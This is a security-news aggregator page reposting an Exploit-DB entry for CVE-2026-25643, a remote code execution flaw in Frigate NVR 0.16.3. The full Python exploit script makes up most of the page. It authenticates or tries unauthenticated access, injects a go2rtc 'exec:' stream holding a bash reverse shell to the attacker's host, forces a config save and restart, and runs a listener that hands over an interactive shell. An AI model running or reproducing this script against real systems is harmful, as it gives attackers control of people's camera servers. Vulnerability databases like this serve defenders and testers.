Security News

Cybersecurity news aggregator

🔓
CRITICAL Vulnerabilities Exploit-DB

[webapps] Frigate NVR 0.16.3 - Remote Code Execution

A critical remote code execution vulnerability (CVE-2026-25643, CVSS 9.1) exists in Frigate NVR, exploitable via configuration manipulation. The vulnerability affects all versions prior to 0.16.4. A fix is available in Frigate NVR version 0.16.4.
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Frigate NVR 0.16.3 - Remote Code Execution EDB-ID: 52533 CVE: 2026-25643 EDB Verified: Author: JDUARDO2704 Type: WEBAPPS Exploit: / Platform: MULTIPLE Date: 2026-04-30 Vulnerable App: # Exploit Title: Frigate NVR 0.16.3 - Remote Code Execution # Date: 2026-02-05 # Exploit Author: jduardo2704 # Vendor Homepage: https://frigate.video/ # Software Link: https://github.com/blakeblackshear/frigate # Version: <= 0.16.3 # Tested on: Linux / Docker # CVE: CVE-2026-25643 # Advisory: https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x import requests import argparse import sys import json import urllib3 import yaml import time import socket import threading import select import re # Silence SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Colors GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BLUE = '\033[94m' RESET = '\033[0m' # Event to synchronize the listener with the exploit thread exploit_ready = threading.Event() def print_status(msg, color=BLUE, symbol="[*]"): print(f"{color}{symbol} {msg}{RESET}") def login_frigate(session, url, username, password): try: print_status(f"Authenticating as {username}...", BLUE) res = session.post(f"{url}/api/login", json={"user": username, "password": password}, verify=False, timeout=10) return res.status_code == 200 except: return False def get_config(session, url): try: res = session.get(f"{url}/api/config/raw", timeout=10) content = res.text.strip() if content.startswith('"'): try: config_raw = json.loads(content) except: config_raw = content else: config_raw = content return yaml.safe_load(config_raw) except: return None def send_payload(session, url, data): final_yaml = yaml.dump(data) try: session.post( f"{url}/api/config/save?save_option=restart", data=final_yaml, headers={"Content-Type": "text/plain"}, timeout=5 ) except: pass def inject_and_exploit(url, username, password, lhost, lport): """Function to run in background thread""" session = requests.Session() session.verify = False # 1. AUTHENTICATION LOGIC if username and password: if not login_frigate(session, url, username, password): print_status("Login failed with provided credentials.", RED, "[-]") sys.exit(1) print_status("Logged in successfully.", BLUE) else: print_status("No credentials provided. Trying unauthenticated access...", YELLOW) # 2. CONFIG RETRIEVAL & VALIDATION print_status("Fetching configuration...", BLUE) config = get_config(session, url) if not config or not isinstance(config, dict): print_status("Failed to retrieve a valid configuration dictionary.", RED, "[-]") print_status("Target might be authenticated or API is restricted.", RED, "[-]") sys.exit(1) # 3. PAYLOAD PREPARATION try: payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'" # Inject go2rtc if 'go2rtc' not in config or config['go2rtc'] is None: config['go2rtc'] = {} if 'streams' not in config['go2rtc'] or config['go2rtc']['streams'] is None: config['go2rtc']['streams'] = {} config['go2rtc']['streams']['cve_poc'] = [f"exec:{payload}"] # Inject camera trigger if 'cameras' not in config or config['cameras'] is None: config['cameras'] = {} config['cameras']['cve_trigger'] = { 'ffmpeg': {'inputs': [{'path': 'rtsp://127.0.0.1:8554/cve_poc', 'roles': ['detect']}]}, 'detect': {'enabled': False}, 'audio': {'enabled': False}, 'enabled': True } print_status("Payload injected into config structure.", GREEN, "[+]") # 4. SIGNAL LISTENER TO START exploit_ready.set() time.sleep(5) print_status("Sending malicious config & triggering restart...", YELLOW) send_payload(session, url, config) except Exception as e: print_status(f"Error during payload injection: {e}", RED, "[-]") sys.exit(1) def shell_handler(lport): """Handles the incoming reverse shell connection""" print_status("Waiting for validation...", BLUE) if not exploit_ready.wait(timeout=20): print_status("Timeout waiting for exploit thread validation.", RED, "[-]") return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: s.bind(('0.0.0.0', int(lport))) s.listen(1) print_status(f"Validation OK. Listening on 0.0.0.0:{lport}...", GREEN, "[+]") s.settimeout(60) try: conn, addr = s.accept() print_status(f"Connection received from {addr[0]}!", GREEN, "[+]") print(f"{YELLOW}--- SHELL ESTABLISHED ---\n{RESET}") s.settimeout(None) conn.settimeout(None) while True: r, _, _ = select.select([sys.stdin, conn], [], []) if conn in r: data = conn.recv(4096) if not data: break # CLEAN OUTPUT LOGIC output = data.decode(errors='ignore') # Remove annoying bash TTY errors using Regex # Matches "bash: cannot set terminal process group (PID): Inappropriate ioctl..." output = re.sub(r"bash: cannot set terminal process group \(\d+\): Inappropriate ioctl for device\r?\n?", "", output) # Matches "bash: no job control in this shell" output = output.replace("bash: no job control in this shell\r\n", "") output = output.replace("bash: no job control in this shell\n", "") sys.stdout.write(output) sys.stdout.flush() if sys.stdin in r: cmd = sys.stdin.readline() conn.send(cmd.encode()) except socket.timeout: print_status("Exploit sent but no connection received (Timeout > 60s).", RED, "[-]") except KeyboardInterrupt: print_status("\nClosing connection.", RED) except Exception as e: print_status(f"Listener error: {e}", RED) finally: s.close() def main(): parser = argparse.ArgumentParser(description="Frigate <= 0.16.3 RCE (Auto-Shell) - CVE-2026-25643") parser.add_argument('-u', '--url', required=True, help="Target URL") parser.add_argument('-U', '--username', required=False, help="Username (optional)") parser.add_argument('-P', '--password', required=False, help="Password (optional)") parser.add_argument('-lh', '--lhost', required=True, help="Your IP (LHOST)") parser.add_argument('-lp', '--lport', required=True, help="Your Port (LPORT)") args = parser.parse_args() exploit_thread = threading.Thread( target=inject_and_exploit, args=(args.url.rstrip('/'), args.username, args.password, args.lhost, args.lport) ) exploit_thread.daemon = True exploit_thread.start() shell_handler(args.lport) if __name__ == "__main__": main() Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.

Share this article